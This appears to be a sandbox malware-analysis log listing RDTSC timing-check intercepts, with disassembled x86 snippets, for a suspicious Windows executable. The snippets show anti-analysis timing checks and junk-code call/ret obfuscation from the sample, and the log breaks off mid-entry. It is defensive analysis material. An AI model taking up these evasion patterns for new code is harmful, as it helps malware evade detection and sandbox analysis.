Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EDAB79 second address: EDAB87 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EDAB87 second address: EDAB8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EDACF0 second address: EDAD11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECA471BCB6h 0x00000008 ja 00007FECA471BCA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EDEE58 second address: EDEE62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE0008 second address: EE000E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE307B second address: EE308B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F39F second address: E9F3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F3A5 second address: E9F3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FECA473F0BFh 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FECA473F0BEh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FECA473F0C1h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F3DE second address: E9F406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB8h 0x00000007 je 00007FECA471BCA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F406 second address: E9F413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FECA473F0B8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F413 second address: E9F419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: E9F419 second address: E9F41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE706D second address: EE7075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE7075 second address: EE707D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE707D second address: EE7087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE7087 second address: EE7092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE7092 second address: EE7096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE71CE second address: EE71D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE71D2 second address: EE71DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE71DC second address: EE71E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE827A second address: EE8297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FECA471BCABh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ebx 0x0000000f jbe 00007FECA471BCACh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE82EA second address: EE82EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE82EE second address: EE8338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 5F29C123h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FECA471BCA8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2E77h], edx 0x0000002e call 00007FECA471BCA9h 0x00000033 push eax 0x00000034 push edx 0x00000035 push esi 0x00000036 jmp 00007FECA471BCACh 0x0000003b pop esi 0x0000003c rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE8338 second address: EE833D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE833D second address: EE837C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007FECA471BCAEh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push esi 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop esi 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 ja 00007FECA471BCB7h 0x00000026 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE837C second address: EE8382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE84D5 second address: EE84D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE8744 second address: EE8748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE8748 second address: EE874E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE8926 second address: EE892A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE907A second address: EE907E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE950E second address: EE952D instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA473F0B8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FECA473F0C0h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE95DE second address: EE95E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE95E2 second address: EE95E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE9ACC second address: EE9AE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EE9AE4 second address: EE9AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEA38E second address: EEA393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEB5B8 second address: EEB5C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEA393 second address: EEA399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEA399 second address: EEA39D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEB5C2 second address: EEB665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 jmp 00007FECA471BCB7h 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FECA471BCA8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2DC0h], eax 0x00000037 push 00000000h 0x00000039 or esi, dword ptr [ebp+122D2E4Ah] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007FECA471BCA8h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000017h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b cld 0x0000005c xchg eax, ebx 0x0000005d jmp 00007FECA471BCABh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jg 00007FECA471BCACh 0x0000006b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEC201 second address: EEC21B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b je 00007FECA473F0B6h 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEC21B second address: EEC221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EECC23 second address: EECC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EECC27 second address: EECC2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EECC2B second address: EECC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEE0EB second address: EEE168 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FECA471BCA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FECA471BCA8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007FECA471BCA8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D21D3h], esi 0x00000049 push 00000000h 0x0000004b xchg eax, ebx 0x0000004c jmp 00007FECA471BCB6h 0x00000051 push eax 0x00000052 pushad 0x00000053 jne 00007FECA471BCACh 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF2473 second address: EF2477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF2477 second address: EF250D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 js 00007FECA471BCA6h 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 jmp 00007FECA471BCADh 0x00000016 pop ebx 0x00000017 popad 0x00000018 nop 0x00000019 mov edi, dword ptr [ebp+122D2A06h] 0x0000001f and ebx, dword ptr [ebp+122D3951h] 0x00000025 push 00000000h 0x00000027 mov ebx, dword ptr [ebp+122D2CDEh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FECA471BCA8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 sub ebx, dword ptr [ebp+122D310Bh] 0x0000004f call 00007FECA471BCAAh 0x00000054 push edx 0x00000055 stc 0x00000056 pop edi 0x00000057 pop ebx 0x00000058 xchg eax, esi 0x00000059 jl 00007FECA471BCB9h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 jp 00007FECA471BCA6h 0x00000069 pushad 0x0000006a popad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF33F2 second address: EF33F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EEADA0 second address: EEADA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF4362 second address: EF436F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF436F second address: EF4379 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF4379 second address: EF437F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF437F second address: EF43FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FECA471BCA8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D3076h], edi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FECA471BCA8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D2EECh], edi 0x0000004b push 00000000h 0x0000004d sub bx, 77DDh 0x00000052 xchg eax, esi 0x00000053 jnc 00007FECA471BCD0h 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FECA471BCB8h 0x00000060 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF81C6 second address: EF81DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FECA473F0BDh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF81DF second address: EF81E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF81E4 second address: EF8255 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECA473F0BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov bx, cx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FECA473F0B8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D1D43h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FECA473F0B8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c xchg eax, esi 0x0000004d jng 00007FECA473F0BAh 0x00000053 push ecx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 pop ecx 0x00000057 push eax 0x00000058 pushad 0x00000059 jc 00007FECA473F0BCh 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF905A second address: EF9060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF9060 second address: EF9071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECA473F0BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFB0CE second address: EFB0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FECA471BCA6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFD515 second address: EFD5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FECA473F0B6h 0x0000000a popad 0x0000000b jc 00007FECA473F0BCh 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FECA473F0C3h 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FECA473F0B8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D2C9Eh] 0x00000039 mov ebx, dword ptr [ebp+122D2BE6h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007FECA473F0B8h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b push edi 0x0000005c xor ebx, 1944CF95h 0x00000062 pop ebx 0x00000063 push 00000000h 0x00000065 pushad 0x00000066 mov ecx, dword ptr [ebp+122D20A6h] 0x0000006c sub ebx, dword ptr [ebp+122D2A1Ah] 0x00000072 popad 0x00000073 mov dword ptr [ebp+122D21CEh], eax 0x00000079 xchg eax, esi 0x0000007a push eax 0x0000007b push edx 0x0000007c jns 00007FECA473F0B8h 0x00000082 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFD5B5 second address: EFD5D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FECA471BCB5h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EFF74C second address: EFF77D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub dword ptr [ebp+124685F8h], eax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2637h], ebx 0x00000019 xchg eax, esi 0x0000001a jmp 00007FECA473F0C0h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pushad 0x00000024 popad 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F00854 second address: F0085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F01856 second address: F0185A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: F02925 second address: F02969 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 mov dword ptr [ebp+122D2E71h], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FECA471BCA8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b or bx, BA16h 0x00000030 push eax 0x00000031 pushad 0x00000032 push edi 0x00000033 jne 00007FECA471BCA6h 0x00000039 pop edi 0x0000003a push ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF2707 second address: EF271B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0BBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF54B0 second address: EF54B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EF54B6 second address: EF5596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FECA473F0B8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 xor dword ptr [ebp+124687BDh], edx 0x0000002e mov ebx, 0158262Fh 0x00000033 push dword ptr fs:[00000000h] 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007FECA473F0B8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov dword ptr fs:[00000000h], esp 0x0000005b or bh, 00000000h 0x0000005e mov eax, dword ptr [ebp+122D15C5h] 0x00000064 mov dword ptr [ebp+122DB76Dh], esi 0x0000006a 